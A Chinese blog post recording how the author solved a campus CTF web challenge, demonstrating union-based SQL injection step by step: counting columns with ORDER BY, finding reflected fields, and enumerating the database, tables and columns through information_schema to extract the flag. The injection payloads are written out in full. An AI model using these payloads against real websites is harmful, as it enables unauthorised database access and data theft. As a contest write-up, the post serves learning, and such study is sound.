这两天闲着没事报名了学校信安和网安组织的网络安全大赛,靠着仅有的一点web知识做了几道web题,现在记录一下其中一道sql注入题的解题思路

首先题面如下

首先通过语句判断有多少个字段

1' or 1=1 order by 4 #
1' or 1=1 order by 3 #

order by是按by后面的数字或字段名所在列进行排序,如果结果集只有3列,order by4则会报错,故可以用来判断结果集的字段数

第一条语句报错,第二条语句返回

admin
5ef582761f2cafceebdfc8c9ac259cf0

可以得出改表中有三个字段,而显示结果只有两个,且可以看出显示的应该是用户名和密码

之所以要查出有多少个字段,是为了判断结果集中有多少信息(因为页面不会把所有查到的信息显示出来),且我们union select要求两次查询的结果集拥有相同的列数

通过union select确定回显在页面的是哪几行的数据

-1' union select 1,2,3 #

select 1,2,3(可以是其他数字或字符等)会返回一行与select内容对应的结果,且字段名也保持相同

以下为select 2,3,4返回的结果集

union select 1,2,3会返回一行数据,我们即可以通过页面上现实的具体数字来判断页面回显的是哪几行的数据,

uion前需要写一个结果集中不存在的数据(随便猜一下就行),因为如果填写admin的话,会查出来一行结果,而union select是将两次查询的结果集合并成(列数不变,增加行数),在页面只显示一行结果的情况下,则无法看到select 1,2,3返回的结果

上述结果返回

2,3

说明页面回显的是结果集中第二三行的数据

那么我们可以通过union select在第二三个数字的位置换成一些函数来获取信息,如:

-1' union select 1,2,database() #

则返回

2,babysql

显然babysql就是正在查询的数据库名

数据库名后则可以查数据库中存在的数据表

-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='babysql')#

group_concat()将group by产生的相同分组的值连接成一个字符串(原本是分行显示),才使得查询结果能一并显示出来

则返回

2
user,flag

有表名后即可查表中的字段名,显然flag藏在flag表中

-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema='babysql' and table_name='flag')#

则返回

2
user,flag

最后查询flag表中字段名为flag的结果,即可得到flag

-1' union select 1,2,(select group_concat(flag) from flag)#

大功告成!

CTF-web题之简单的SQL注入相关推荐

  1. ctf.show web2 最简单的SQL注入

    ctf.show web2 最简单的SQL注入 1.一开始的页面 随便输入用户名和密码看它怎么反应 没报错,只是清空了用户名和密码 题目提示是sql注入,那就用burpsuit抓个包,发送到repea ...

  2. CFT每日一题之简单的SQL注入之二

    首先,输入1 尝试一下 然后爆出ID 加 个 单引号 尝试 ,出现报错界面 然后 大概猜测代码是  select xx from XX where id='' 用and测试 发现了有过滤,经过多测实验 ...

  3. 第一次CTF【后台登录、简单的sql注入之、简单的sql注入之2、猫抓老鼠、i春秋 文件上传】

    后台登录 http://ctf5.shiyanbar.com/web/houtai/ffifdyop.php 根据md5($password,true)最后要得到原始二进制字符串,要含有or ,在or ...

  4. 超详细,手把手教你一次简单的SQL注入,不用任何工具,带你走进web安全的大门

    超详细,手把手教你一次简单的SQL注入,不用任何工具,带你走进web安全的大门 靶场网站,网站所有权在二向箔安全学院 知识盒子 简单的SQL注入题目,可以用来入门练习,体验一下实训 老套的题目:提取网 ...

  5. 【实验吧】CTF_Web_简单的SQL注入之1

    题目链接:http://ctf5.shiyanbar.com/423/web/ 简单的SQL注入之1,比2,3都简单一些.利用2 的查询语句也可以实现:1'/**/union/**/select/** ...

  6. 简单的SQL注入学习

    引贴: http://blog.163.com/lucia_gagaga/blog/static/26476801920168184648754/ 首先需要编写一个php页面,讲php页面放入/opt ...

  7. 简单的SQL注入原理

    小白学了一点简单的SQL注入,做了点笔记,感觉挺详细,希望能帮助到学习的伙伴.大佬勿喷,有不足多多的指教. 实验原理 SQL注入攻击是通过将恶意的SQL查询或添加语句插入到应用的输入参数中,再在后台S ...

  8. 一个简单的SQL注入攻击

    在上一篇博客中:http://blog.csdn.net/suwei19870312/article/details/7579667.讲了Client 端代码和Server端代码的交互. Client ...

  9. oracle延时盲注如何防止,【原创】WEB安全第四章SQL注入篇21 oracle 延时注入

    WEB安全第四章SQL注入篇21 oracle 延时注入 1.简介 DBMS_LOCK.SLEEP()函数可以让一个过程休眠很多秒,但使用该函数存在许多限制.首先,不能直接将该函数注入子查询中,因为O ...

  10. 一次简单的SQL注入靶场练习

    一次简单的SQL注入靶场练习 文章目录 一次简单的SQL注入靶场练习 前言 一.靶机下载 二.靶场渗透 1.端口扫描 总结 前言 为了巩固SQL注入以及实战演练的需要,我们来做一次简单的关于SQL注入 ...

最新文章

  1. Spring源码分析【2】-Tomcat和Sping的连接点
  2. 你有什么技能是公司离不开你
  3. 360画报屏保,放大营销“感官力”
  4. 基于MVC4+EasyUI的Web开发框架经验总结(6)--在页面中应用下拉列表的处理
  5. Sharding-JDBC读写分离_实现_Sharding-Sphere,Sharding-JDBC分布式_分库分表工作笔记017
  6. 南华大学计算机专业导师排名,南华大学研究生导师介绍:左国平-中公研招网...
  7. Spring MVC处理响应的 header
  8. android 编译系统make文件
  9. dev grdicontrol 根据条件改变行颜色,字体颜色等
  10. python手册下载_python学习手册
  11. AutoCAD2012官方原版软件下载
  12. 三相逆变器仿真matlab,在MATLAB中实现三相电压型逆变器仿真
  13. 电脑控制手机;电脑操作手机软件(Total Control)
  14. c语言setw,C++ iomanip setw()用法及代码示例
  15. 51单片机学习路程(一)
  16. 计算机的静态存储区在哪里,静态随机访问存储器
  17. 博文收藏夹(updating)
  18. uni-app实现小程序身份证取景框
  19. 决策引擎服务平台blaze_是Blaze数据服务还是LiveCycle数据服务?
  20. 专为风电筒叶片除冰研发的爬壁机器人

热门文章

  1. MUSIC算法原理以及详细推导
  2. 哔哩哔哩---P2 WPF基础入门视频(布局)
  3. c#编写高程拟合程序
  4. 全国重点城市建筑物矢量数据合集四(Shp格式+带高度)
  5. 利用MapInfo将MapInfo格式数据转换成shp格式
  6. 用友U8审批流相关开发
  7. 小米球外网映射本地tomcat
  8. UML用例图分析——铁路售票系统
  9. html 跑马灯效果 源代码,跑马灯效果.html
  10. 多个完整设计的单片机、8086、STM32制作教程和资料-转发分享